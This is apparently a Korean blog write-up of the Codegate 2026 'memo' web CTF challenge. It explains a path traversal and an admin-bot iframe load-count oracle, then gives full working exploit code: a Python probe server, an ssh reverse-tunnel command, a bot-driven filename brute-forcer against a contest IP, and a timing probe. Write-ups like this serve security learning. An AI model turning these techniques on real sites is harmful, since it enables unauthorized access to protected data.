CTF & Wargame(WEB)

codegate 2026 memo write up

KWAKBUMJUN 2026. 3. 30. 13:41

memo

챌린지 요약

  • 카테고리: Web
  • 목표: 관리자만 접근할 수 있는 비밀 이미지를 찾기
  • 최종 플래그: codegate2026{HTTP2_has_many_streams!}

TL;DR

이 애플리케이션은 사용자가 메모를 작성하고 공개적으로 공유할 수 있게 해준다. 공유된 메모는 HTML을 sanitize하지만, <img> 태그는 여전히 허용한다. 원래 관리자 전용으로 의도된 이미지 라우트는 다음과 같다.

/api/image/admin?filename=...

이 라우트는 관리자에게만 이미지를 반환해야 하지만, 구현에는 두 가지 위험한 문제가 있다.

  1. 정확한 파일명이 아니라 파일명 접두사(prefix)도 받아들인다.
  2. 메모 뷰어의 path traversal 버그를 통해 이 라우트에 도달할 수 있다.
/memo/view?id=../image/admin?filename=<prefix>

메모 뷰어가 /api/memo/${id} 를 가져올 때, Express가 경로를 정규화하면서 실제로는 /api/image/admin?filename=<prefix> 에 도달하게 된다.

접두사가 맞으면 관리자 이미지 요청이 정상적으로 끝나고 페이지가 리다이렉트된다.

접두사가 틀리면 요청이 영원히 멈춘다.

이로 인해 관리자 전용 엔드포인트가 blind oracle로 바뀐다. 외부 probe URL을 봇에 신고(report)하면, 관리자 봇이 우리가 제어하는 페이지를 방문하게 만들 수 있고, 그 페이지에서 취약한 URL을 iframe으로 불러와 다음과 같이 구분할 수 있다.

  • hit: iframe이 두 번 load됨
  • miss: iframe이 한 번만 load됨

숨겨진 파일명을 brute force하면 다음 값이 나온다.

flag_5b19265a1da6afff.png

그 다음 공개 이미지 엔드포인트를 통해 실제 플래그 이미지를 가져올 수 있다.

/api/image?filename=flag_5b19265a1da6afff.png

소스 분석

1. 공유 메모는 <img>를 유지한다

공유 메모 프론트엔드는 내용을 sanitize하지만, <img> 태그는 명시적으로 허용한다. 즉, 사용자가 제어하는 HTML이 관리자 봇이 방문하는 페이지까지 살아남는다.

관련 파일:

memo_extracted/app/src/public/js/memo-shared.js

2. 관리자 이미지 라우트는 접두사를 허용한다

서버 측 이미지 서비스는 먼저 정확한 파일명을 확인하지만, 실패하면 다음 로직으로 넘어간다.

readdirSync(dir).find(file => file.startsWith(filename))

즉, 아래와 같은 요청은

/api/image/admin?filename=flag_5b19

실제 파일명이 그 접두사로 시작하기만 하면 성공한다는 뜻이다.

관련 파일:

memo_extracted/app/src/api/image/image.service.ts

3. 비밀 이미지 파일명은 빌드 시점에 랜덤화된다

Docker 빌드 과정에서 FLAG.png 는 다음과 같은 이름으로 바뀐다.

flag_<16 hex>.png

따라서 이 문제는 flag.png 같은 고정 파일명을 맞히는 것이 아니라, 랜덤하게 생성된 파일명을 복구하는 문제다.

관련 파일:

memo_extracted/app/Dockerfile

4. /memo/view 에 path traversal이 있다

메모 뷰어는 id 쿼리 파라미터를 받아 다음 요청을 보낸다.

fetch(`/api/memo/${id}`)

만약 id=../image/admin?filename=... 이라면, 브라우저는 다음 경로를 요청하게 된다.

/api/memo/../image/admin?filename=...

이 경로는 정규화되어 최종적으로

/api/image/admin?filename=...

가 된다.

이것이 공개 페이지에서 관리자 전용 엔드포인트로 넘어가는 핵심 pivot이다.

관련 파일:

memo_extracted/app/src/public/js/memo-view.js

오라클 설계

관리자 엔드포인트는 관리자 인증과 same-origin 검사로 보호되기 때문에, 일반 사용자로 직접 접근하는 것은 불가능하다. 하지만 report bot이 이 문제를 해결해 준다. 봇이 관리자 권한으로 URL을 방문하기 때문이다.

핵심은 봇이 우리가 제어하는 페이지를 방문하게 만들고, 그 페이지 안에 다음과 같은 iframe을 넣는 것이다.

<iframe src="https://nginx/memo/view?id=../image/admin?filename=<prefix>"></iframe>

관찰된 동작은 다음과 같다.

  • <prefix> 가 틀리면:
    • 관리자 이미지 조회가 끝나지 않는다
    • iframe은 load 이벤트를 한 번만 발생시킨다
  • <prefix> 가 맞으면:
    • 이미지 엔드포인트가 빠르게 응답한다
    • 메모 뷰어가 JSON 파싱에 실패하고 / 로 리다이렉트된다
    • iframe은 load 이벤트를 두 번 발생시킨다

즉,

  • 1 load => miss
  • 2 loads => hit

이것만으로도 랜덤 파일명을 16진수 한 글자씩 brute force할 수 있다.

실제로 동작한 익스플로잇 코드

아래 코드는 실제로 이 챌린지를 푸는 데 충분했던 익스플로잇 코드다.

1. Probe 서버

이 서버는 관리자 봇이 방문할 페이지를 호스팅하고, iframe 이벤트를 로컬에 기록한다.

from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import json

PORT = 8765
EVENTS = {}

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def _send(self, status, body, content_type="text/plain; charset=utf-8"):
        if isinstance(body, str):
            body = body.encode()
        self.send_response(status)
        self.send_header("Content-Type", content_type)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        parsed = urlparse(self.path)
        qs = parse_qs(parsed.query)

        if parsed.path == "/log":
            raw = qs.get("d", ["{}"])[0]
            try:
                item = json.loads(raw)
            except json.JSONDecodeError:
                item = {"raw": raw}
            label = item.get("label", "")
            EVENTS.setdefault(label, []).append(item)
            self._send(204, b"")
            return

        if parsed.path == "/events":
            label = qs.get("label", [""])[0]
            self._send(200, json.dumps(EVENTS.get(label, [])), "application/json")
            return

        if parsed.path == "/reset":
            label = qs.get("label", [""])[0]
            if label:
                EVENTS[label] = []
            else:
                EVENTS.clear()
            self._send(200, "ok")
            return

        if parsed.path == "/probe":
            label = qs.get("label", [""])[0]
            url = qs.get("url", [""])[0]
            html = f"""<!doctype html>
<meta charset="utf-8">
<body>
<script>
const LABEL = {json.dumps(label)};
const TARGET = {json.dumps(url)};
const t0 = performance.now();

function log(ev, extra={{}}) {{
  const data = Object.assign({{
    label: LABEL,
    ev,
    ms: Math.round(performance.now() - t0)
  }}, extra);
  fetch("/log?d=" + encodeURIComponent(JSON.stringify(data))).catch(() => {{}});
}}

window.addEventListener("load", () => log("page_load"));

const el = document.createElement("iframe");
el.src = TARGET;
el.style.width = "600px";
el.style.height = "400px";
el.onload = () => log("elem_load");
el.onerror = () => log("elem_error");
document.body.appendChild(el);
</script>
</body>
"""
            self._send(200, html, "text/html; charset=utf-8")
            return

        self._send(200, "ok")

if __name__ == "__main__":
    ThreadingHTTPServer(("0.0.0.0", PORT), Handler).serve_forever()

다음과 같이 실행한다.

python3 probe_server.py

이 서버를 public tunnel로 외부에 노출한다. 작성자는 localhost.run 을 사용했다.

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ServerAliveInterval=30 -R 80:localhost:8765 nokey@localhost.run

그러면 다음과 같은 공개 HTTPS URL이 반환된다.

https://096eb3b6189b7f.lhr.life

2. 파일명 brute force

이 brute force 코드는 봇을 오라클로 사용해 랜덤화된 파일명을 복구한다.

import json
import time
import urllib.parse

import requests

BOT_URL = "http://16.184.10.189:5000/report"
TUNNEL_BASE = "https://096eb3b6189b7f.lhr.life"
EVENT_BASE = "http://127.0.0.1:8765"
PUBLIC_BASE = "https://16.184.10.189"
HEX = "0123456789abcdef"

def target_url(prefix: str) -> str:
    return f"https://nginx/memo/view?id=../image/admin?filename={prefix}"

def try_once(guess: str):
    label = f"guess-{guess}-{int(time.time() * 1000)}"
    requests.get(f"{EVENT_BASE}/reset", params={"label": label}, timeout=5)

    probe = (
        f"{TUNNEL_BASE}/probe?mode=iframe"
        f"&label={urllib.parse.quote(label, safe='')}"
        f"&url={urllib.parse.quote(target_url(guess), safe='')}"
    )

    r = requests.post(BOT_URL, json={"url": probe}, timeout=12)
    r.raise_for_status()

    deadline = time.time() + 8
    last = []
    while time.time() < deadline:
        try:
            last = requests.get(
                f"{EVENT_BASE}/events",
                params={"label": label},
                timeout=5,
            ).json()
        except Exception:
            time.sleep(0.4)
            continue

        loads = sum(1 for e in last if e.get("ev") == "elem_load")
        if loads >= 2:
            return "hit", last
        time.sleep(0.4)

    loads = sum(1 for e in last if e.get("ev") == "elem_load")
    if loads == 1:
        return "miss", last
    return "inconclusive", last

def classify(guess: str, attempts: int = 5) -> bool:
    seen = []
    for attempt in range(1, attempts + 1):
        try:
            verdict, events = try_once(guess)
        except Exception as e:
            print("TRYERR", guess, attempt, repr(e), flush=True)
            time.sleep(2)
            continue

        print("TRY", guess, attempt, verdict, json.dumps(events[:4]), flush=True)
        seen.append(verdict)

        if verdict == "hit":
            return True
        if seen.count("miss") >= 2:
            return False

        time.sleep(1)

    if "hit" in seen:
        return True
    if seen.count("miss") >= 2:
        return False
    raise SystemExit(f"inconclusive guess {guess}: {seen}")

def main():
    prefix = "flag_"

    while len(prefix) < len("flag_") + 16:
        for ch in HEX:
            guess = prefix + ch
            if classify(guess):
                prefix = guess
                print("PREFIX", prefix, flush=True)
                break
        else:
            raise SystemExit(f"failed at prefix {prefix}")

        time.sleep(2)

    filename = prefix + ".png"
    print("FILENAME", filename, flush=True)

    r = requests.get(
        f"{PUBLIC_BASE}/api/image",
        params={"filename": filename},
        verify=False,
        timeout=20,
    )
    print("FETCH", r.status_code, r.headers.get("content-type"), len(r.content), flush=True)
    open("/tmp/flag_live.png", "wb").write(r.content)
    print("WROTE /tmp/flag_live.png", flush=True)

if __name__ == "__main__":
    requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]
    main()

3. 마지막 정확한 파일명 판별용 지름길

파일명이 다음 형태까지 좁혀졌을 때

flag_5b19265a1da6aff?.png

작성자는 공개 exact-image 엔드포인트를 최종 판별기로 사용했다. 틀린 정확한 파일명은 멈춰 있었고, 정답 파일명만 즉시 응답했다.

import requests
import time

base = "https://16.184.10.189/api/image"
prefix = "flag_5b19265a1da6aff"

for ch in "abcdef":
    fn = prefix + ch + ".png"
    t = time.time()
    try:
        r = requests.get(base, params={"filename": fn}, timeout=6, verify=False)
        print(fn, r.status_code, len(r.content), round(time.time() - t, 2))
    except Exception as e:
        print(fn, type(e).__name__, round(time.time() - t, 2))

개념적으로 출력은 다음과 같았다.

flag_5b19265a1da6affa.png -> timeout
flag_5b19265a1da6affb.png -> timeout
flag_5b19265a1da6affc.png -> timeout
flag_5b19265a1da6affd.png -> timeout
flag_5b19265a1da6affe.png -> timeout
flag_5b19265a1da6afff.png -> 200 OK

복구된 값들

  • 숨겨진 파일명: flag_5b19265a1da6afff.png
  • 최종 플래그 이미지 경로:
/api/image?filename=flag_5b19265a1da6afff.png
  • 최종 플래그:
codegate2026{HTTP2_has_many_streams!}

'CTF & Wargame(WEB)' 카테고리의 다른 글

Dreamhack Movie time table  (0) 2025.06.01
Dreamhack Switching Command  (0) 2025.05.30
dreamhack insane python  (1) 2025.05.20
dreamhack username:password@ 풀이  (0) 2025.05.20
Black-Hacker-Company  (0) 2025.05.14